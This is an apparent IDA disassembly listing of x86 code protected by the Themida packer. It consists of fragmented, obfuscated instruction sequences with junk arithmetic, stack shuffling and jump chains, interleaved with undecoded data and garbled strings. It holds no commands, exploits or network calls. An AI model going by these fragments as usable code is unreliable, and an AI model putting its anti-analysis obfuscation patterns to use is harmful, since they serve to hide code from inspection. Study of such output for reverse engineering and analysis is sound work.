		mov	edi, 6D0035EDh
		add	ecx, edi
		pop	edi
		add	ecx, esi
		sub	ecx, 6D0035EDh
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_5638FF
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 8704C683h, 295C2434h,	241C8BDEh, 4C481h
		dd 34870000h, 3B0FE924h, 68660000h, 89663D33h, 0FF66241Ch
		dd 66022474h, 83241C8Bh, 0C8904ECh, 0B88AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55C5BA:				; CODE XREF: Themida_:005673DFj
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 0Ah
		push	ebx
		jmp	loc_55C07F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E1895100h, 0FFFAB8E9h, 77DBB9FFh, 0CA3112B7h
		dd 0F369E9h, 241C8700h,	4A93E9h, 4C48100h, 8F000000h, 0E95C2404h
		dd 86EBh, 4C4815Ah, 0E9000000h,	6628h
; ---------------------------------------------------------------------------

loc_55C60C:				; CODE XREF: Themida_:00561CB1j
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		jmp	loc_55BE60
; ---------------------------------------------------------------------------
		db 51h
		dd 7E7C15B9h, 0F788E947h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C62A:				; CODE XREF: Themida_:0055FBE4j
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_566C49
; ---------------------------------------------------------------------------

loc_55C642:				; CODE XREF: Themida_:00562EB7j
		xor	edx, eax
		xor	eax, edx
		xchg	eax, edx
		not	eax
		xchg	eax, edx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	6FBDh
		mov	[esp], edi
		jmp	loc_56D799
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 412066B9h, 0E1BD556Bh, 2133BF01h, 9CA6E9E9h,	0E9550000h
		dd 66Ch, 3935CE81h, 0BD5567ECh,	7F0C6C2Ch, 3515E9h, 81E68900h
		dd 4C6h, 0BF575500h, 4,	295FFD89h, 0E9565DEEh, 0D7A6h
		dd 0FFC1E3E9h, 4B850FFh, 81000000h, 0FC4512C7h,	0E9C70110h
		dd 280Dh, 0EEE9D131h, 66000007h, 6824048Bh, 7DDAh, 89243C89h
		db 0E7h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_566D31
; ---------------------------------------------------------------------------
		dd 34FF505Ch, 0C4815B24h, 4, 0E7F8E9h, 0FA874F00h, 4EC81h
		dd 34890000h, 0FFFFBE24h, 0F201FFFFh, 9CE4E9h, 0B252AC00h
		dd 2CCEE981h, 0CF810000h, 4E9C6F8Fh, 0EFEBEF81h, 0F8014EDEh
		dd 42D5Fh, 4330000h, 24043124h,	5C240433h, 68243C89h, 4078h
		dd 0BD242C89h, 71E42CFFh, 0F75DEF89h, 0ADE781D7h, 0E938FF72h
		dd 8136h, 0E9028F64h, 0FFFFC128h, 5C243487h, 0A6DBE9h
		dd 38EDB900h, 0CA2118E0h, 0D1B95159h, 0F7711C54h, 81D9F7D9h
		dd 0D02581E9h, 0E03E91Eh, 34FF0001h, 2434FF24h,	0C6E95158h
		db 2, 1, 0
; ---------------------------------------------------------------------------

loc_55C797:				; CODE XREF: Themida_:00558A57j
		sub	esp, 4
		jmp	loc_55E002
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 8323E904h, 0E9540000h, 9726h, 0E8C1F031h, 6E9F3502h
		dd 6EE92971h, 5A00010Bh, 8DE9BB2Ch, 81000042h, 4C4h, 0E1895100h
		dd 576EBD55h, 0D5F70BBFh, 3B67CD81h, 0C5817B51h, 56267ACAh
		dd 6E9D5F7h, 0BD000108h, 5AE70D19h, 4AEF581h, 0E9296F5Ah
		dd 0E92434FFh, 0E10Dh, 4C281h, 0C2830000h, 24148704h, 0F9BA525Ch
		dd 2120006Bh, 0EEC15AD6h, 8AE68105h, 4E3D891Dh,	0BB03EE81h
		dd 0F389E168h, 8124348Bh, 4C4h,	14A2E900h, 0C3010001h
		dd 4636E9h, 57E95C00h, 5CFFFFEFh, 5DF6EE81h, 0EE810346h
		dd 63E30848h, 0F592E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C855:				; CODE XREF: Themida_:0056AE99j
		push	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		mov	esp, [esp]
		and	eax, ebx
		pop	ebx
		or	edx, eax
		jmp	loc_566E37
; ---------------------------------------------------------------------------
aFq		db 'fQµ^',0
aIfysu		db 'ëfYé“=',0
		align 4

loc_55C88C:				; CODE XREF: Themida_:00559D13j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_563175
; ---------------------------------------------------------------------------
		dw 0B85Fh
		dd 1BF33B3Eh, 0E7A1E9h,	240C8700h, 6624248Bh, 8157E9F7h
		dd 4ECh, 24248900h, 6A32E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C8BD:				; CODE XREF: Themida_:0055DC06j
		mov	cl, 0A4h
		add	al, cl
		jmp	loc_55E101
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4EC83E1h, 0B8240489h, 4, 7750E981h, 0E9810051h, 60C9641Ch
		dd 0C181C101h, 60C9641Ch, 3547BD55h, 0C5810552h, 0FAFF4209h
		dd 2C8BE901h, 4C48324h,	1DD26858h, 14890000h, 0A4E95024h
		dd 5F0000E4h, 1A882D58h, 34FF50AFh, 11AE924h
		db 1, 0
; ---------------------------------------------------------------------------

loc_55C91A:				; CODE XREF: Themida_:005609DCj
		add	ah, dl
		add	ah, 0ADh
		pop	edx
		push	eax
		mov	ah, 2Bh
		add	bl, ah
		pop	eax
		add	bl, 2Dh
		jmp	loc_564AA5
; ---------------------------------------------------------------------------

loc_55C92E:				; CODE XREF: Themida_:0056AF46j
		mov	esi, esp
		add	esi, 4
		jmp	loc_568865
; ---------------------------------------------------------------------------
		db 68h
		dd 38A3h, 0E9241489h, 0EEFCh, 0FA88C788h, 0B32DE9h, 4EC8100h
		dd 89000000h, 0B652241Ch, 5BE968E7h, 4890000h, 62E95324h
		dd 0FFFFFFD3h, 815F2434h, 4C4h,	24C60500h, 0D0016E5Fh
		dd 5F24C62Dh, 723B056Eh, 9AE94905h, 19h, 66B104D8h, 28C1B551h
		dd 535966E8h, 0D9E9E389h, 5A000013h, 0E63E953h,	0C2830001h
		dd 24148704h, 0F724248Bh, 1CC7E9D8h, 0CAB10000h, 2009E980h
		dd 240C8BCFh, 5104C483h, 6FE9FBB5h, 810000FEh, 22C35C2h
		dd 51EA294Dh, 7D27BE56h, 0F1897F48h, 0FDC7E95Eh, 0FA050000h
		dd 8B287472h, 8951243Ch, 0DA00E9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C9F2:				; CODE XREF: Themida_:0056D96Fj
		xor	ecx, eax
		mov	eax, [esp]
		jmp	loc_56AF74
; ---------------------------------------------------------------------------
		dd 0C002EFC0h, 5D6808E7h, 89000072h, 28E9241Ch,	81000025h
		dd 961E37C3h, 52C3016Bh, 10867E9h, 3C335E00h, 243C3124h
		dd 0E9243C33h, 0FFFFD4C1h, 0E8E9DA21h
		db 0EDh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55CA33:				; CODE XREF: Themida_:0056CE1Ej
		push	ecx
		mov	cl, dl
		jmp	loc_568299
; ---------------------------------------------------------------------------
aIZs_		db '‰ÓZéÑ_',0
		dw 8100h
		dd 0FBFBBCC1h, 59CF893Ah, 4244481h, 77797AD2h, 4244481h
		dd 0E3E56F3h, 4247C01h,	4246C81h, 0E3E56F3h, 0C2DBE9h
		dd 243C8B00h, 8304C483h, 2C8904ECh, 895D5224h, 242C8BEEh
		dd 4C481h, 148B0000h, 4C48124h,	81000000h, 0B86718EEh
		dd 0A0E95065h, 0FF000023h, 34FF2434h, 24048B24h, 0E9E38953h
		dd 2D5Ah, 81E78957h, 4C7h, 4C78300h, 64A5E9h, 0E9C28800h
		dd 9678h, 539FBA52h, 0D5891F17h, 0FFEB015Ah, 835D2434h
		dd 0CB8104C4h, 5E1138BDh, 0BF99F381h, 0DE015FD1h, 9B21E9h
		dd 2DF58100h, 5114EC5Ah, 1387DB9h, 53F18154h, 0C131CA47h
		dd 0E98103E1h, 18908B5Dh, 0F6E8E9h
		db 0
; ---------------------------------------------------------------------------

loc_55CB09:				; CODE XREF: Themida_:00560D3Bj
		sub	esp, 4
		mov	[esp], eax
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		add	edx, ebx
		mov	ecx, [edx]
		jmp	loc_568FA6
; ---------------------------------------------------------------------------
		dw 0EB29h
		dd 0FFF319E9h, 0C76859FFh, 8900001Eh, 0BF572414h, 4, 0FFD159E9h
		dd 2454F6FFh, 0EC835901h, 0D201E902h, 0EC83FFFFh, 0E726E904h
		dd 0E95FFFFFh, 0DF2Dh, 0E905E5C1h, 0FFFFE735h
; ---------------------------------------------------------------------------

loc_55CB60:				; CODE XREF: Themida_:005676A7j
		mov	ebx, 5FE41ADDh
		xor	ebp, ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55AD5D
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4C4h, 247C0100h, 148B5F04h, 4C48124h, 0E9000000h
		dd 0EE1Fh, 0E9240489h, 0FFFFBCF0h, 0E95AD729h, 0FFFFFBFEh
; ---------------------------------------------------------------------------

loc_55CBA4:				; CODE XREF: Themida_:005601F8j
		push	edi
		jmp	loc_5655AE
; ---------------------------------------------------------------------------
aVswp		db 'VéW',0
		align 10h
		dd 88539CB1h, 5BD888CBh, 81240C8Bh, 4C4h, 0E5D2E900h, 0ED830000h
		dd 4EC8104h, 89000000h,	93E9242Ch, 0BE0000FAh, 0BFE0A2Fh
		dd 0FFCD92E9h, 2A6CB9FFh, 47E979A6h, 890000E7h,	0F189240Ch
		dd 0ABE9CA89h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CBF7:				; CODE XREF: Themida_:0055AC60j
		push	ebx
		mov	ebx, 2C71775Fh
		and	ebp, ebx
		mov	ebx, [esp]
		push	57D3h
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_5695BC
; ---------------------------------------------------------------------------

loc_55CC11:				; CODE XREF: Themida_:0055C090j
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_55888C
; ---------------------------------------------------------------------------
		dd 0C9E9DA01h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55CC23:				; CODE XREF: Themida_:005643C5j
		push	ecx
		mov	ecx, 7B223A6Bh
		jmp	loc_56AE1A
; ---------------------------------------------------------------------------
aZ4ZS?		db '‡4$\‡<$é·?',0
		align 2

loc_55CC3A:				; CODE XREF: Themida_:00564C54j
		mov	dh, 0D8h
		sub	dh, 1
		inc	dh
		neg	dh
		xor	dh, 6
		mov	cl, dh
		pop	edx
		add	al, cl
		pop	cx
		jmp	loc_56B7EE
; ---------------------------------------------------------------------------
		dw 0C8B8h
		dd 0D1F6369h, 18D51CEDh, 0D0F7D8F7h, 0F0D3E940h, 348BFFFFh
		dd 4C48324h, 41F3814Bh,	0E971666Eh, 7E08h, 9D1C77FFh, 19665866h
		dd 0E99C2404h, 0FFFFBC04h, 0C37E9B9h, 6566E909h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55CC92:				; CODE XREF: Themida_:00565FC8j
		sub	esp, 4
		mov	[esp], edi
		push	3C67h
		mov	[esp], ebx
		mov	ebx, 3F2613B2h
		jmp	loc_565E9B
; ---------------------------------------------------------------------------
		db 29h,	0F0h, 0E9h
		dd 628Dh
; ---------------------------------------------------------------------------

loc_55CCB4:				; CODE XREF: Themida_:00559B8Fj
		add	eax, esi
		jmp	loc_5699AA
; ---------------------------------------------------------------------------

loc_55CCBB:				; CODE XREF: Themida_:00558C0Aj
		mov	[esp], ebp
		push	esp
		jmp	loc_565D4C
; ---------------------------------------------------------------------------

loc_55CCC4:				; CODE XREF: Themida_:00569C22j
		push	esi
		push	4
		pop	esi
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		push	750Dh
		mov	[esp], esi
		mov	esi, 45DF03B1h
		jmp	loc_5666B7
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 8704C583h, 555C242Ch,	868AE9h, 9EE95800h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CCFF:				; CODE XREF: Themida_:00564E58j
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		push	33FDh
		mov	[esp], edi
		jmp	loc_560F29
; ---------------------------------------------------------------------------
aAuSld		db '€îÕé‹„',0
		dw 8F00h
		dd 0E95C2404h, 13F8h
; ---------------------------------------------------------------------------

loc_55CD34:				; CODE XREF: Themida_:00564E98j
		push	ecx
		jmp	loc_559099
; ---------------------------------------------------------------------------

loc_55CD3A:				; CODE XREF: Themida_:0055AFCBj
		pop	ecx
		add	esp, 4
		push	eax
		mov	eax, 0BB3690Eh
		neg	eax
		shl	eax, 1
		push	edi
		jmp	loc_560D40
; ---------------------------------------------------------------------------

loc_55CD4E:				; CODE XREF: Themida_:00563599j
		push	dword ptr [edi+eax*4]
		push	6DD8h
		mov	[esp], ebp
		mov	ebp, 4178551Fh
		xor	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5658EB
; ---------------------------------------------------------------------------
		dd offset dword_457444+2D524h
		dd 24348900h, 0C681E689h, 4, 4C681h, 34870000h,	48F5C24h
		dd 24248B24h, 0C8B60F66h, 685E5456h, 7157h, 0E9240489h
		dd 9FF0h
; ---------------------------------------------------------------------------

loc_55CDA4:				; CODE XREF: Themida_:0055BCECj
		xor	ebp, 8305C69Dh
		add	eax, ebp
		pop	ebp
		mov	edi, eax
		pop	eax
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		push	7768h
		mov	[esp], ebx
		push	3994h
		mov	[esp], edx
		push	53ACh
		mov	[esp], ebp
		push	16163556h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	edx
		mov	edx, 1B0A4BB6h
		sub	edx, 8204929h
		sub	edx, 6D756394h
		xor	edx, 2DD003D6h
		or	edx, 75FD7DA0h
		jmp	loc_56BF8E
; ---------------------------------------------------------------------------

loc_55CE09:				; CODE XREF: Themida_:0056A8C3j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	edx
		not	edx
		push	75EAh
		mov	[esp], eax
		push	edx
		jmp	loc_56A5BC
; ---------------------------------------------------------------------------
		db 31h,	0F0h, 0E9h
		dd 8255h, 4C481h, 51550000h, 240C8B5Dh,	0FF8EE9h, 0F7814F00h
		dd 789F42C1h, 0E15DC781h, 0EE81D578h, 17DC13B5h, 5D21E9h
		dd 2434FF00h, 4C48358h,	685EF729h, 5687h, 0B8240489h, 6E9A50EBh
		dd 0BF14E9h, 0BBD5500h,	0E973F002h, 0D55Ah, 8904EC83h
		dd 0E789243Ch, 4C781h, 0EF810000h, 4, 0E9243C33h, 1C2Ch
		dd 31243C33h, 3C33243Ch, 0F84AE924h, 815BFFFFh,	745DFAEEh
		dd 5EF7890Dh, 327DE9h, 0E9815A00h, 106730DDh, 6D82C181h
		dd 0C889F84Fh, 51240C8Bh, 0C181E189h, 4, 4C181h, 0C870000h
		dd 30A2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55CEDA:				; CODE XREF: Themida_:0056886Dj
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 10D52E83h
		jmp	loc_56AFB0
; ---------------------------------------------------------------------------
		dd 83242C8Bh, 0EC8104C4h, 4, 0BB241C89h, 2, 59FE9h
		db 0
; ---------------------------------------------------------------------------

loc_55CF05:				; CODE XREF: Themida_:005608C8j
		pop	esp
		jmp	loc_558D21
; ---------------------------------------------------------------------------
		db 9
		dd 7840FC9h, 8100007Ah,	4ECh, 24348900h, 0B9515E54h, 79AE0018h
		dd 0E907E9C1h, 0FFFFDCC9h, 4C181h, 0E9830000h, 9BA1E904h
		dd 2C8B0000h, 4C48324h,	641A68h, 24148900h, 42474FFh, 0E924148Bh
		dd 0FFFFE3ADh, 95336DBEh, 0E9F08945h, 0E312h
; ---------------------------------------------------------------------------

loc_55CF60:				; CODE XREF: Themida_:0055DB15j
		sub	bl, cl
		pop	ecx
		push	eax
		mov	ah, 70h
		xor	ah, 0ECh
		add	bl, 0A1h
		jmp	loc_56542F
; ---------------------------------------------------------------------------

loc_55CF71:				; CODE XREF: Themida_:0056CB0Aj
		push	esi
		mov	esi, 283B2BFEh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 29766100h
		jmp	loc_564B7C
; ---------------------------------------------------------------------------
		db 8Bh
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		push	edx
		jmp	loc_56CE43
; ---------------------------------------------------------------------------

loc_55CF9A:				; CODE XREF: Themida_:00563CA1j
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_55888C
; ---------------------------------------------------------------------------

loc_55CFB1:				; CODE XREF: Themida_:00565CBFj
		not	eax
		neg	eax
		xor	eax, 0CAA8BD59h
		xor	ecx, eax
		pop	eax
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_56C452
; ---------------------------------------------------------------------------
		db 8Bh
		dd 1EE92404h, 5CFFFFB9h, 24048F54h, 4B951h, 4C010000h
		dd 0C8B0424h, 4C48324h,	5B2434FFh, 56E38953h, 4BEh, 5EF30100h
		dd 4C381h, 1C870000h, 0CFE95C24h, 540000C5h, 4C18159h
		dd 83000000h, 0C8704E9h, 0DE95C24h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55D01F:				; CODE XREF: Themida_:00568FB6j
		push	403Eh
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	3583h
		mov	[esp], ebp
		jmp	loc_563050
; ---------------------------------------------------------------------------

loc_55D03F:				; CODE XREF: Themida_:0055A970j
		shr	eax, 18h
		xor	eax, ecx
		push	4151h
		mov	[esp], ebp
		jmp	loc_56D434
; ---------------------------------------------------------------------------

loc_55D051:				; CODE XREF: Themida_:0056BD16j
		xor	edx, edx
		push	ebx
		push	edi
		mov	edi, 60A56DC9h
		jmp	loc_55A280
; ---------------------------------------------------------------------------
		db 58h
		dd 803ECC80h, 0EE802AECh, 80E600F6h, 0FF58F6C6h, 0A6E92434h
		db 3, 1, 0
; ---------------------------------------------------------------------------

loc_55D077:				; CODE XREF: Themida_:0055B941j
		add	edi, ebp
		pop	ebp
		std
		push	4963h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_560D19
; ---------------------------------------------------------------------------
		dw 4A2Ch
		dd 0FAE9C828h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D097:				; CODE XREF: Themida_:0056A857j
		mov	[esp], ebx
		push	ebx
		jmp	loc_564D4C
; ---------------------------------------------------------------------------
		dd 0EA868h, 24348900h, 4DE95E54h, 890000C0h, 0DBE9241Ch
		dd 81FFFFB7h, 6803242Ch, 48109CBh, 6623C424h, 2404012Dh
		dd 0C4242C81h, 532D6623h, 0CB6803BBh, 245C0109h, 0E4F3E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D0DE:				; CODE XREF: Themida_:0055C37Fj
		mov	edi, esp
		jmp	loc_568EF7
; ---------------------------------------------------------------------------

loc_55D0E5:				; CODE XREF: Themida_:00560932j
		and	eax, 2D8C196Eh
		sub	eax, 0E152DADDh
		or	ecx, eax
		pop	eax
		add	ecx, 840D015h
		sub	edx, 222F609Eh
		sub	edx, ecx
		push	esi
		mov	esi, 2A6C4565h
		inc	esi
		dec	esi
		add	esi, 0F7C31B39h
		sub	edx, 5545D25h
		jmp	loc_56CC65
; ---------------------------------------------------------------------------

loc_55D119:				; CODE XREF: Themida_:0055C056j
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_569F2F
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aSp		db '$épÒ',0
		align 2
		dw 0E3C1h
		dd 0D8C38102h, 812CE22Dh, 0FC1DF4EBh, 6233E919h, 0F7010000h
		dd 1FE8EF81h, 34FF4D9Dh, 24348B24h, 0E9585450h,	7DCBh
		dd 5077C181h, 6EE966B8h, 66FFFFBCh, 0E9240C8Bh,	0FFFFFD0Ch
		dd 0E98734FFh, 2FEFh, 8104C483h, 4C4h, 0B95100h, 292AD02Ah
		dd 0E904244Ch, 3DEh, 747F68h, 241C8900h, 4BBh, 8BDD0100h
		dd 0C483241Ch, 242C3304h, 33242C31h, 685C242Ch,	662h, 4025E9h
		db 0
; ---------------------------------------------------------------------------

loc_55D1B5:				; CODE XREF: Themida_:0055FB12j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55F13E
; ---------------------------------------------------------------------------

loc_55D1BE:				; CODE XREF: Themida_:00564AB5j
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, 59CE7ACDh
		add	ebp, ebx
		push	ecx
		mov	ecx, 59CE7ACDh
		add	ebp, 24795DFFh
		sub	ebp, ecx
		sub	ebp, 24795DFFh
		pop	ecx
		jmp	loc_55E40B
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 8704C783h, 685C243Ch,	2CCFh, 0E9241489h
		dd 0F799h
; ---------------------------------------------------------------------------

loc_55D21C:				; CODE XREF: Themida_:00563793j
		add	eax, 389D27F2h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56492A
; ---------------------------------------------------------------------------
		dd 4246C81h, 4F1B06B2h,	0FE7DE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D23A:				; CODE XREF: Themida_:0056CF9Aj
		push	esi
		mov	esi, 57C5851h
		add	eax, esi
		pop	esi
		sub	eax, ebp
		push	ecx
		mov	ecx, 6214037Fh
		push	ebp
		mov	ebp, 5B8E7C0Ch
		sub	ebp, 0F42620DEh
		xor	ecx, ebp
		pop	ebp
		add	eax, 6FC146E0h
		sub	eax, ecx
		sub	eax, 6FC146E0h
		jmp	loc_56D246
; ---------------------------------------------------------------------------
		db 81h
		dd 356BF0EAh, 0EAC1421Ah, 0D65DE908h, 0B850FFFFh, 5E611EC4h
		dd 12Dh, 0C626E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D28A:				; CODE XREF: Themida_:0055E10Cj
		mov	[esp], ecx
		mov	cl, bh
		jmp	loc_5642AA
; ---------------------------------------------------------------------------
		dd 11C2BE56h, 0BB537D0Dh, 687850ACh, 465BDE29h,	713BE9h
		dd 0FEBE5600h, 0E9218B3Dh, 4874h, 7BC968h, 24048900h, 209AE9h
		dd 243C8900h, 0DB7C76BFh, 0C7814F11h, 8CAD136Dh, 295FFD29h
		dd 242C8BE9h, 2904C483h, 240C8BCBh, 5204C483h, 0BD55E289h
		dd 4, 9892E9h, 48B6600h, 2C48324h, 5DF6E9h
		db 0
; ---------------------------------------------------------------------------

loc_55D2FD:				; CODE XREF: Themida_:0056CBFDj
		add	ebp, 4
		jmp	loc_55DC38
; ---------------------------------------------------------------------------
		dd 0D7F7DFF7h, 0E7D1D7F7h, 0AACCEF81h, 0FB013CFDh, 0BD55525Fh
		dd 22271CDAh, 271CDEBAh, 5DEA3122h, 0FFB74FE9h,	4C281FFh
		dd 81000000h, 4EAh, 577DE900h, 0C3800000h, 80EB281Ch, 80591CEBh
		dd 3BE976EBh, 5B00002Dh, 0EA81CA29h, 60E773Bh, 643AE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D35E:				; CODE XREF: Themida_:00568F1Aj
		pop	ecx
		add	edi, 6C7C19EAh
		push	2982h
		mov	[esp], edx
		mov	edx, 31C7595Bh
		add	edi, edx
		pop	edx
		jmp	loc_55B344
; ---------------------------------------------------------------------------
		dw 0C329h
		dd 4F12EB81h, 0E95831EAh, 0A688h
; ---------------------------------------------------------------------------

loc_55D388:				; CODE XREF: Themida_:00558EB6j
		pop	edi
		add	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_566347
; ---------------------------------------------------------------------------
		dd 0F6C88850h, 58C188D0h, 44DDE9h, 0E9EF0100h, 0FFFFF104h
		dd 24048F54h, 4BA52h, 54010000h, 0FF5A0424h, 84E92434h
		dd 58000056h, 8904EC83h, 0BFE9243Ch, 5D0000E8h,	6460E9h
		db 0
; ---------------------------------------------------------------------------

loc_55D3D1:				; CODE XREF: Themida_:00567D93j
		push	55BCh
		mov	[esp], edi
		push	221311E6h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	esi
		jmp	loc_56A1EB
; ---------------------------------------------------------------------------
		db 2Dh
		dd 100E59DCh, 78348A05h, 0C9BF574Dh, 5056B12Ch,	6814E5B8h
		dd 4E0C15Bh, 0EC70370Dh, 0BC1EE96Dh, 51AD0000h,	3D5C43B9h
		dd 0EC83497Fh, 24048904h, 0F95090B8h, 0C8E9E967h, 5CB80000h
		dd 8974A215h, 0F8C7E9C6h, 1489FFFFh, 6318BA24h,	53423ED3h
		dd 0B8C587BBh, 5BDA01D5h, 77E4E9h
		db 0
; ---------------------------------------------------------------------------

loc_55D449:				; CODE XREF: Themida_:0055ED68j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		and	eax, ebx
		pop	ebx
		or	edx, eax
		jmp	loc_5647AE
; ---------------------------------------------------------------------------
		dd 5104C483h, 681AE9h, 815A5900h, 4C2h,	0F0E95000h, 810000FFh
		dd 4C4h, 24148700h, 5124248Bh, 0FC29E9h
		db 0
; ---------------------------------------------------------------------------

loc_55D491:				; CODE XREF: Themida_:00564783j
		mov	edi, 46617835h
		jmp	loc_55AA81
; ---------------------------------------------------------------------------
		db 0D0h
		dd 0E9D6F6EEh, 170Fh, 49BA5250h, 0B844A86Fh, 5AB4EFFh
		dd 255AD031h, 0C895680h, 0E906E0C1h, 3539h, 299BEA81h
		dd 70E98C8Ah, 81FFFFF5h, 4C1h, 4C18100h, 87000000h, 455C240Ch
		dd 0CDD6F581h, 0EA01F478h, 0FFDFAEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55D4E9:				; CODE XREF: Themida_:0055D5C8j
		mov	[esp], ebx
		jmp	loc_56DD99
; ---------------------------------------------------------------------------
		db 1, 0CEh, 0E9h
		dd 0EF02h
; ---------------------------------------------------------------------------

loc_55D4F8:				; CODE XREF: Themida_:00565805j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		add	bl, 2Fh
		add	bl, al
		push	eax
		mov	al, 2Fh
		push	ax
		mov	ah, 45h
		sub	bl, ah
		pop	ax
		sub	bl, al
		add	bl, 45h
		pop	eax
		push	edx
		jmp	loc_56108E
; ---------------------------------------------------------------------------
aQsf		db 'Qé”$',0
		align 4
		dd 41E8EF81h, 0B95177DEh, 50C537D1h, 6DC8C981h,	0F1816453h
		dd 1E8122B6h, 1C181h, 98E90000h, 0AD0000B1h, 4EC8157h
		dd 89000000h, 17682434h, 5E138236h, 0E6C1DEF7h,	0F51CE907h
		dd 29590000h, 3DE92404h, 5B00002Fh, 158C531h, 0ED62E9E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D57E:				; CODE XREF: Themida_:00559AA3j
		and	bl, 0A2h
		jmp	loc_56D6F3
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 4C4h, 47C46800h, 0C890000h, 4B85024h, 89000000h, 72E958C1h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55D5A3:				; CODE XREF: Themida_:00568294j
		push	ebp
		mov	ebp, 8A05975h
		sub	ebp, 0DA7FDB38h
		add	ecx, ebp
		jmp	loc_56A123
; ---------------------------------------------------------------------------

loc_55D5B6:				; CODE XREF: Themida_:0056919Ej
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55D4E9
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 50h
		dd 2939ADA5h, 0B9515BD8h, 3AD05392h, 8CE9C801h,	0F7000042h
		dd 0E1F681DEh, 81590C39h, 0E94A89EEh, 0E9F30122h, 9584h
		dd 4BD55h, 0EF010000h, 5279E95Dh, 53570000h, 0C381E389h
		dd 4, 92C5E9h
		db 0
; ---------------------------------------------------------------------------

loc_55D615:				; CODE XREF: Themida_:00568A13j
		shr	ecx, 7
		dec	ecx
		jmp	loc_55E2E3
; ---------------------------------------------------------------------------
		dw 565Dh
		dd 0C681E689h, 4, 4C681h, 85E90000h, 0AD0000A1h, 536E382Dh
